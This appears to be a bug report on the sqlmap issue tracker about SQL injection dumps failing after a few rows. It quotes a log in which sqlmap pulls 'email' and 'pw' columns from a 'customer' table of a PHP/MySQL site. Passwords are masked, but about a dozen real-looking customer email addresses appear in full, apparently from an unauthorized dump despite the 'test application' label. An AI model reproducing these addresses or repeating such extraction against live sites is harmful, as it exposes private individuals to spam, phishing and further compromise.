[ERROR] thread X #3489
Description
What's the problem (or question)?
The test web application is vulnerable using error and UNION injection.
Using either of these to dump data out of the DB yields an error after approximately 12 dumped entries.
This happens only when dumping rows, though (not scheme or table names etc.)
[19:21:49] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.37, PHP 5.6.40
back-end DBMS: MySQL >= 5.0
[19:21:49] [INFO] fetching entries of column(s) 'email, pw' for table 'customer' in database 'DB413560'
[19:21:49] [INFO] used SQL query returns 103 entries
[19:21:49] [INFO] starting 3 threads
[19:21:49] [WARNING] reflective value(s) found and filtering out
[19:21:49] [INFO] retrieved: 'XXXX'
[19:21:49] [INFO] retrieved: 'an.saenger@gmx.net'
[19:21:49] [INFO] retrieved: 'XXXX'
[19:21:49] [INFO] retrieved: 'H-H.Mang@t-online.de'
[19:21:49] [INFO] retrieved: 'XXXX'
[19:21:49] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'gertiebruin@hotmail.com'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'jedanilova@gmail.com'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'nazacedine@divismail.ru'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'bmschaefer@web.de'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'wim.loos@hotmail.com'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'rj.laffra@quicknet.nl'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'sandhillgarden@yahoo.com'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'u.roeck@posteo.de'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'anne041563@hotmail.com'
[19:21:50] [INFO] retrieved: 'XXXX'
[19:21:50] [INFO] retrieved: 'mcondoi@gmx.de'
[19:21:50] [ERROR] thread 0: 4267211441414814197
[19:21:50] [ERROR] thread 1: 4267211441414814197
[19:21:50] [ERROR] thread 2: 4267211441414814197
What are the running context details?
- zip
- Microsoft Windows 10
- 1.3.2.18#dev
- MySQL
- No WAF
- SQLi Techniques:
error-based+UNION-based